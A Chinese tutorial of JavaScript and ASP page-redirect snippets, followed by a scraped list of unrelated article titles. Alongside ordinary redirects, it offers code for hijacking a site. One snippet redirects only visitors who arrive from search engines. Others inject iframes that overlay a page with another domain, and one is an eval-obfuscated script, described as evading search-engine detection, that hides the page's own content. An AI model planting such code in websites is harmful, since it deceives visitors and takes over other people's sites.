实现JavaSrcipt页面的跳转

一、常规的JS页面跳转代码

1、在原来的窗体中直接跳转用

<script type="text/JavaScript">window.location.href="你所要跳转的页面";
</script>

2、在新窗体中打开页面用:

<script type="text/JavaScript">window.open('你所要跳转的页面');
</script>

3、JS页面跳转参数的注解

<SCRIPT LANGUAGE="javascript"><!--window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')//写成一行-->
</SCRIPT>

参数解释:

window.open 弹出新窗口的命令;

‘page.html’ 弹出窗口的文件名;

‘newwindow’ 弹出窗口的名字(不是文件名),非必须,可用空’代;

height=100 窗口高度;

width=500 窗口宽度;

top=0 窗口距离屏幕上方的象素值;

left=0 窗口距离屏幕左侧的象素值。

二、跳转指定页面的JS代码

第1种:

<script language="javascript" type="text/javascript">window.location.href="login.jsp?backurl="+window.location.href;
</script>

第2种:

<script language="javascript">
  alert("返回");window.history.back(-1);
</script>

第3种:

<script language="javascript">window.navigate("top.jsp");
</script>

第4种:

<script language="JavaScript">self.location='top.htm';
</script>

第5种:

<script language="javascript">
  alert("非法访问!");top.location='xx.jsp';
</script>

三、页面停留指定时间再跳转(如3秒)

<script type="text/javascript">function jumurl(){window.location.href = 'http://www.fly63.com/';}
  setTimeout(jumurl,3000);
</script>

四、根据访客来源跳转的JS代码

1、JS判断来路代码
此段代码主要用于百度谷歌点击进入跳转,直接打开网站不跳转:

<script LANGUAGE="Javascript">var s=document.referrerif(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )location.href="http://www.webqdkf.com/";
</script>

2、JS直接跳转代码

<script LANGUAGE="Javascript">location.href="http://www.webqdkf.com/";
</script>

3、ASP跳转代码判断来路

<%if instr(Request.Servervariables("http_referer"),"www.yang5460.com")>0 thenresponse.redirect("http://www.webqdkf.com/")end if
%>

4、ASP直接跳转的

<%response.redirect("http://www.webqdkf.com/")
%>

五、广告与网站页面一起的JS代码

1、上面是广告下面是站群的代码

document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='5000' allowTransparency src=http://www.webqdkf.com/></iframe>");

2、全部覆盖的代码

document.write("</iframe><iframe src='http://www.webqdkf.com/' rel='nofollow' scrolling='no' frameborder='0' width='100%' height='2000'>");

3、混淆防止搜索引擎被查的js调用
具体的展示上面是广告下面是站群的代码:

var ss = '<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="63'+'50" src="ht'+'tp://'+'ww'+'w.web'+'qd'+'kf.c'+'om/"></iframe></center>';
eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");
try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne";}catch(e){}for(var i=0;i<document.body.children.length;i++){try{var tagname = document.body.children[i].tagName;var myid = document.body.children[i].id;if(myid!="icondiv1" && myid!="showcloneshengxiaon"){// if(tagname!="center"){document.body.children[i].style.display="non"+"e";//}}}catch(e){}}},100);
}catch(e){}

六、页面跳出框架

<script type="text/javascript">top.location.href='http://www.webqdkf.com/';
</script>

七、返回上一页

<script type="text/javascript">window.history.back(-1);
</script>

实现JavaSrcipt页面的跳转相关推荐

  1. 【swift学习笔记】二.页面转跳数据回传

    上一篇我们介绍了页面转跳:[swift学习笔记]一.页面转跳的条件判断和传值 这一篇说一下如何把数据回传回父页面,如下图所示,这个例子很简单,只是把传过去的数据加上了"回传"两个字 ...

  2. React Native 与 嵌入Android原生与Activity页面互相跳转

    前言 RN作为混合开发,肯定需要与原生直接的页面跳转,这里也属于和原生端通信的知识模块.我们知道Android的页面跳转是通过Intent.Rn是通过路由,而两者直接页面互相跳转就需要原生借助JS暴露 ...

  3. express 使用 redirect 对 ajax 无效 页面不跳转

    问题描述: 自己在使用 express 的 redirect 时,并不进行跳转操作,但是前端是可以接收到整个后端将要跳转的整个页面的 html 已经是301状态码,但是页面不跳转 原因: 使用 aja ...

  4. Maven和Spring mvc下的页面的跳转与取值

    (此处tomcat的端口设置为80) 例如:在testForm.jsp里提交表单,在ok.jsp里取值 testForm.jsp页面代码如下: <%@ page contentType=&quo ...

  5. jsp 跳到servlet路径_想打开一个jsp的页面就跳转到servlet中去,并向servlet传值。用什么跳转...

    是打开就跳转,不用form提交,也不用超链接. 如果我的xml中servlet的url是:/main 我在JSP中想要跳转到servlet,并且传值到servlet,我知道表单可以这样写: 超链接可以 ...

  6. Ionic创建页面以及页面之间跳转、页面添加返回按钮、新增底部页面

    场景 Ionic介绍以及搭建环境.新建和运行项目: https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/106308166 在上面搭建起 ...

  7. 当session失效后,无论点击那个页面,都找到顶端页面,跳到登录页面。

    当session失效后,用户点击当前页面会跳到登录页面,如果用户现在是在子页面,则当前的子页面跳到登录,用户感觉很不好,所以进行处理,例得无论点击那个页面,都找到顶端页面,再跳到登录页面. 处理的方式 ...

  8. java语言如何跳转界面_在java中spring mvc页面如何跳转,详细图解

    众所周知,java编程语言的应用在当今社会必不可少,它是当下人们提升自己充实自身的重要选择.所以,今天主要来为大家介绍java的入门知识,在 java中spring mvc页面如何跳转,通过详细的图片 ...

  9. 页面定时跳转(读秒)

    页面定时刷新(页面读秒操作)* 响应的头 refresh <meta http-equiv="refresh" content="5;url=/day10/resp ...

最新文章

  1. 尚国栋:金融风控贷款违约预测(天池学习赛)
  2. bootstrap-wysiwyg: 迷你的Bootstrap的所见即所得的HTML富文本编辑器
  3. python dlib学习(八):训练人脸特征点检测器
  4. springboot配置https访问
  5. (原创)C++11改进我们的程序之右值引用
  6. linux ext4,ext3的特点和区别
  7. 解决Mysql数据库提示innodb表不存在的问题
  8. li ul vue 滚动显示_vue ul循环滚动的问题
  9. 记一次服务器被攻击事件
  10. 与JavaWeb有关的故事(Web请求与Java IO)
  11. 将运算放大器(运放)用作比较器
  12. 屏蔽键盘信息(低级键盘钩子)
  13. 2012-7-07可樂词汇积累#9314;
  14. UserWarning: findfont: Font family [‘sans-serif‘] not found. Falling back to DejaVu Sans
  15. 直通车推广有哪些容易被忽略的地方
  16. panda3D学习之路
  17. 【黑客故事】程序员作家王小波
  18. 算法基础复盘笔记Day12【贪心算法】—— 区间问题、Huffman树、排序不等式、绝对值不等式、推公式
  19. Skyline TerraExplorer 自定义飞行转弯速度不管用解决办法
  20. Linux GCC 常用命令

热门文章

  1. 从C语言的角度重构数据结构系列(十二)-C语言判断语法详解(ifswitch)
  2. python图形编程基础-Python从基础到入门系列教程
  3. LeetCode-链表-24. 两两交换链表中的节点
  4. LeetCode-剑指 Offer 50. 第一个只出现一次的字符
  5. RXJava by Example--转
  6. TCP、UDP以及HTTP的简单讲解
  7. Sklearn(v3)——SVM理论(4)
  8. JSP JavaBean
  9. 区块链技术实现只需180行go代码!
  10. 如何判断LSTM模型中的过拟合和欠拟合 By 机器之心2017年10月02日 11:09 判断长短期记忆模型在序列预测问题上是否表现良好可能是一件困难的事。也许你会得到一个不错的模型技术得分,但了解